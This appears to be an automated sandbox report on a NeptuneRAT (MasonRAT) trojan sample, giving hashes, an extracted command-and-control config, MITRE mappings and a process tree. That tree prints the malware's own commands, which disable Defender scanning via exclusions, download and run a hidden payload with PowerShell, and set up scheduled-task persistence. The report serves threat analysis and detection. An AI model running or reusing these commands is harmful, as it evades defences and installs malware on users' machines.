neptunerat | c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896

Analysis

max time kernel
20s
max time network
37s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
05/08/2026, 01:21

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Bypassed.exe
Size 1.9MB
Sample260805-bqq4easyft
SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
MD5 895088641b452ca046da55b8901462d7
SHA1 e1756aa09e0ead1a6ee58e9b409192043e614822
SHA512 0cc1108513076c1bac555d01ced27aae9d138d1463416fd056e459b967145f7b19f0e5e0e561ec12483484a874d204773a5170a494e550c29f0a5e29ce02fb7a
SSDEEP 49152:BMXA6xXZgFUd7gvy3XHHooAj3JJqrdrp9ZjXXkGE8AJ7gnX6cHIQS1eXApMbEJMy:
TLSH
T11995A1141EEE181963B2AE6D5BD478DFC45EABA33B0710F614F2028E4711D93C9E27B9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution neptunerat persistence trojan

Malware Config

Extracted

Family

neptunerat

82.22.62.124:443

Attributes

filename
MasonUSB.exe
group
MasonGroup
key
eacBkjvaIIlrNRCZ
rat_name
MasonRAT

Signatures

Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
trojan neptunerat

Detects NeptuneRAT stealer 2 IoCs

resource	yara_rule
behavioral3/memory/2060-62-0x000000001C610000-0x000000001C654000-memory.dmp	family_neptunerat
behavioral3/memory/2060-326-0x000000001CAF0000-0x000000001CB02000-memory.dmp	family_neptunerat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1632	powershell.exe
4088	powershell.exe
4160	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
2220	e451da77-f89f-462b-aa04-213dbd18f782.exe
5088	svhost.exe
2060	svhost.exe
1608	bkgjnsfy.ukk.exe
4084	svhost.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\svhost	svchost.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\svhost.exe	e451da77-f89f-462b-aa04-213dbd18f782.exe
File opened for modification	C:\Windows\svhost.exe	e451da77-f89f-462b-aa04-213dbd18f782.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4104	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2080	schtasks.exe
4292	SCHTASKS.exe
4088	SCHTASKS.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4088	powershell.exe
4088	powershell.exe
4160	powershell.exe
4160	powershell.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1632	powershell.exe
1632	powershell.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1632	powershell.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1632	powershell.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe
1608	bkgjnsfy.ukk.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3180	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	e451da77-f89f-462b-aa04-213dbd18f782.exe
Token: SeDebugPrivilege	4088	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	5088	svhost.exe
Token: SeDebugPrivilege	2060	svhost.exe
Token: SeDebugPrivilege	2060	svhost.exe
Token: SeDebugPrivilege	1608	bkgjnsfy.ukk.exe
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeDebugPrivilege	4084	svhost.exe
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeShutdownPrivilege	3180	Explorer.EXE
Token: SeCreatePagefilePrivilege	3180	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	2824	svchost.exe
Token: SeIncreaseQuotaPrivilege	2824	svchost.exe
Token: SeSecurityPrivilege	2824	svchost.exe
Token: SeTakeOwnershipPrivilege	2824	svchost.exe
Token: SeLoadDriverPrivilege	2824	svchost.exe
Token: SeSystemtimePrivilege	2824	svchost.exe
Token: SeBackupPrivilege	2824	svchost.exe
Token: SeRestorePrivilege	2824	svchost.exe
Token: SeShutdownPrivilege	2824	svchost.exe
Token: SeSystemEnvironmentPrivilege	2824	svchost.exe
Token: SeUndockPrivilege	2824	svchost.exe
Token: SeManageVolumePrivilege	2824	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2824	svchost.exe
Token: SeIncreaseQuotaPrivilege	2824	svchost.exe
Token: SeSecurityPrivilege	2824	svchost.exe
Token: SeTakeOwnershipPrivilege	2824	svchost.exe
Token: SeLoadDriverPrivilege	2824	svchost.exe
Token: SeSystemtimePrivilege	2824	svchost.exe
Token: SeBackupPrivilege	2824	svchost.exe
Token: SeRestorePrivilege	2824	svchost.exe
Token: SeShutdownPrivilege	2824	svchost.exe
Token: SeSystemEnvironmentPrivilege	2824	svchost.exe
Token: SeUndockPrivilege	2824	svchost.exe
Token: SeManageVolumePrivilege	2824	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2824	svchost.exe
Token: SeIncreaseQuotaPrivilege	2824	svchost.exe
Token: SeSecurityPrivilege	2824	svchost.exe
Token: SeTakeOwnershipPrivilege	2824	svchost.exe
Token: SeLoadDriverPrivilege	2824	svchost.exe
Token: SeSystemtimePrivilege	2824	svchost.exe
Token: SeBackupPrivilege	2824	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 752 wrote to memory of 2220	752	Bypassed.exe	81
PID 2220 wrote to memory of 4088	2220	e451da77-f89f-462b-aa04-213dbd18f782.exe	82
PID 2220 wrote to memory of 4160	2220	e451da77-f89f-462b-aa04-213dbd18f782.exe	84
PID 2060 wrote to memory of 1608	2060	svhost.exe	89
PID 2060 wrote to memory of 4292	2060	svhost.exe	90
PID 1608 wrote to memory of 636	1608	bkgjnsfy.ukk.exe	5
PID 1608 wrote to memory of 688	1608	bkgjnsfy.ukk.exe	7
PID 1608 wrote to memory of 908	1608	bkgjnsfy.ukk.exe	11
PID 1608 wrote to memory of 396	1608	bkgjnsfy.ukk.exe	13
PID 1608 wrote to memory of 900	1608	bkgjnsfy.ukk.exe	14
PID 1608 wrote to memory of 968	1608	bkgjnsfy.ukk.exe	15
PID 1608 wrote to memory of 1044	1608	bkgjnsfy.ukk.exe	16
PID 1608 wrote to memory of 1124	1608	bkgjnsfy.ukk.exe	17
PID 1608 wrote to memory of 1132	1608	bkgjnsfy.ukk.exe	18
PID 1608 wrote to memory of 1168	1608	bkgjnsfy.ukk.exe	19
PID 1608 wrote to memory of 1260	1608	bkgjnsfy.ukk.exe	21
PID 1608 wrote to memory of 1276	1608	bkgjnsfy.ukk.exe	22
PID 1608 wrote to memory of 1316	1608	bkgjnsfy.ukk.exe	23
PID 1608 wrote to memory of 1376	1608	bkgjnsfy.ukk.exe	24
PID 1608 wrote to memory of 1488	1608	bkgjnsfy.ukk.exe	25
PID 1608 wrote to memory of 1552	1608	bkgjnsfy.ukk.exe	26
PID 1608 wrote to memory of 1744	1608	bkgjnsfy.ukk.exe	27
PID 1608 wrote to memory of 1780	1608	bkgjnsfy.ukk.exe	28
PID 1608 wrote to memory of 1796	1608	bkgjnsfy.ukk.exe	29
PID 1608 wrote to memory of 1808	1608	bkgjnsfy.ukk.exe	30
PID 1608 wrote to memory of 1904	1608	bkgjnsfy.ukk.exe	31
PID 1608 wrote to memory of 1964	1608	bkgjnsfy.ukk.exe	32
PID 1608 wrote to memory of 1976	1608	bkgjnsfy.ukk.exe	33
PID 1608 wrote to memory of 1960	1608	bkgjnsfy.ukk.exe	34
PID 1608 wrote to memory of 2148	1608	bkgjnsfy.ukk.exe	35
PID 1608 wrote to memory of 2156	1608	bkgjnsfy.ukk.exe	36
PID 1608 wrote to memory of 2224	1608	bkgjnsfy.ukk.exe	37
PID 1608 wrote to memory of 2308	1608	bkgjnsfy.ukk.exe	38
PID 1608 wrote to memory of 2364	1608	bkgjnsfy.ukk.exe	39
PID 1608 wrote to memory of 2468	1608	bkgjnsfy.ukk.exe	41
PID 1608 wrote to memory of 2504	1608	bkgjnsfy.ukk.exe	42
PID 1608 wrote to memory of 2684	1608	bkgjnsfy.ukk.exe	43
PID 1608 wrote to memory of 2692	1608	bkgjnsfy.ukk.exe	44
PID 1608 wrote to memory of 2728	1608	bkgjnsfy.ukk.exe	45
PID 1608 wrote to memory of 2796	1608	bkgjnsfy.ukk.exe	46
PID 1608 wrote to memory of 2812	1608	bkgjnsfy.ukk.exe	47
PID 1608 wrote to memory of 2824	1608	bkgjnsfy.ukk.exe	48
PID 1608 wrote to memory of 2872	1608	bkgjnsfy.ukk.exe	49
PID 1608 wrote to memory of 2052	1608	bkgjnsfy.ukk.exe	51
PID 1608 wrote to memory of 2704	1608	bkgjnsfy.ukk.exe	52
PID 1608 wrote to memory of 684	1608	bkgjnsfy.ukk.exe	53
PID 1608 wrote to memory of 3180	1608	bkgjnsfy.ukk.exe	54
PID 1608 wrote to memory of 3316	1608	bkgjnsfy.ukk.exe	55
PID 1608 wrote to memory of 3336	1608	bkgjnsfy.ukk.exe	56
PID 1608 wrote to memory of 3680	1608	bkgjnsfy.ukk.exe	59
PID 1608 wrote to memory of 3740	1608	bkgjnsfy.ukk.exe	60
PID 1608 wrote to memory of 3828	1608	bkgjnsfy.ukk.exe	61
PID 1608 wrote to memory of 3856	1608	bkgjnsfy.ukk.exe	62
PID 1608 wrote to memory of 4140	1608	bkgjnsfy.ukk.exe	63
PID 1608 wrote to memory of 4380	1608	bkgjnsfy.ukk.exe	64
PID 1608 wrote to memory of 704	1608	bkgjnsfy.ukk.exe	68
PID 1608 wrote to memory of 3984	1608	bkgjnsfy.ukk.exe	69
PID 1608 wrote to memory of 3812	1608	bkgjnsfy.ukk.exe	71
PID 1608 wrote to memory of 3532	1608	bkgjnsfy.ukk.exe	72
PID 1608 wrote to memory of 3216	1608	bkgjnsfy.ukk.exe	73
PID 1608 wrote to memory of 1484	1608	bkgjnsfy.ukk.exe	74
PID 1608 wrote to memory of 1584	1608	bkgjnsfy.ukk.exe	75
PID 1608 wrote to memory of 3468	1608	bkgjnsfy.ukk.exe	77
PID 1608 wrote to memory of 4488	1608	bkgjnsfy.ukk.exe	78

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:968

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:688

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5e4107bb-0f80-4539-8467-c5956d30211d -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-f7b42d3e-f4fb-4b82-b8f7-48c2c83636af -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-21f13fe6-ccba-4afe-a86e-b388f244450f -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-75b0981e-0269-4cb2-b33f-16d0686ed833 -LifetimeId:2dcef9f1-7294-4132-97f4-93b6d0ba8d3d -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:900

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1260
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:684
- C:\Windows\svhost.exe
  C:\Windows\svhost.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Users\Admin\AppData\Local\Temp\bkgjnsfy.ukk.exe
    "C:\Users\Admin\AppData\Local\Temp\bkgjnsfy.ukk.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1608
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4292
- - C:\Windows\system32\SCHTASKS.exe
    "SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4088
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2760
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2080
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:680
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"
    3⤵
    PID:1788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8548.tmp.bat""
    3⤵
    - Executes a command shell one-liner
    PID:4104

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1552
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1808

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1976

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1960

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2308

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2364

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2468

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2872

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2704

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3180
- C:\Users\Admin\AppData\Local\Temp\Bypassed.exe
  "C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:752
- - C:\Users\Admin\AppData\Local\Temp\e451da77-f89f-462b-aa04-213dbd18f782.exe
    "C:\Users\Admin\AppData\Local\Temp\e451da77-f89f-462b-aa04-213dbd18f782.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3336

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3680

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3740

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3856

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:4140

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:704

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:3984

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:3812

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3532

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1484

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:1584

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4488

C:\Windows\svhost.exe
C:\Windows\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5088

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:220

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:4844

C:\Users\Admin\AppData\Roaming\svhost.exe
C:\Users\Admin\AppData\Roaming\svhost.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4084

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:1328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e27390d57580e3dfba07bec3d8e430203bbc91e90f6937079b3fd52abc721bd4
MD5 dbbd2d4458d7e8094846420da595dfc3
SHA1 267cb47b904f14a519d2bd73abfdb30e1a06e1a6
SHA512 480e7ca865b811f79f35fcfe7a9ac0280b48d1f9459873d18f000db55c72d53345cf3a10075c1ac407439545f699ce2a7bef38b00b4e19439edf384b00045531
SSDEEP 96:iq4uYqGEo9xx+incqKXq3qotzYNYr7aqCiNLm7RIz+cBPzQh0nRAy6FcxZcosQSm:iq4uYqGEUdncqKXq3qotzYuWq2Iz+wx
TLSH
T11D91EE323375E0D5C8263F07192C19C463AF439AEA54AF48B258620EED2714BDF122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

svhost.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svhost.exe.log
Size 1KB
SHA256 8a3cef8da8a932fbc62a00143270d9c9f1a4b34394be59ed50086c2d542e6fe4
MD5 4a59944098abc35779db90020fecd5ac
SHA1 07a1ca173ecfab776dc4bba87061a6f330f522c1
SHA512 81a24bc2ca350bb502ce91470f5ebcb40ecd84cd533af963edbf0e91b70296dbaa06e4b25a0c295826a8bf8b7dec30bf07aeda4fb9cbf8f8ab29d83714c65601
TLSH
T14421CD312372A1C889263F421C1D268423EF832AB650EE0C7A98635DDD2705B5B212F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 528d08ac4625d41962a52069d5d577e1824ba7eabe64be054266ab51b417d054
MD5 26f0974947e6928344090e51f017e202
SHA1 7bd4f573eababf01d5a0bd44642e09dab7f1e5fb
SHA512 2809ec170c77558f973764081760b13b16516ca5cc21b374c3b47ed23e363ee4b413ffbd753908bab61e8cc82ca7bff0025d6d5a327fc845608b092482034900
TLSH
T135218933B79CC134C8D9117A108DAD01B2B5C3C7449ECE8B7B84C508A57F999DF645E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
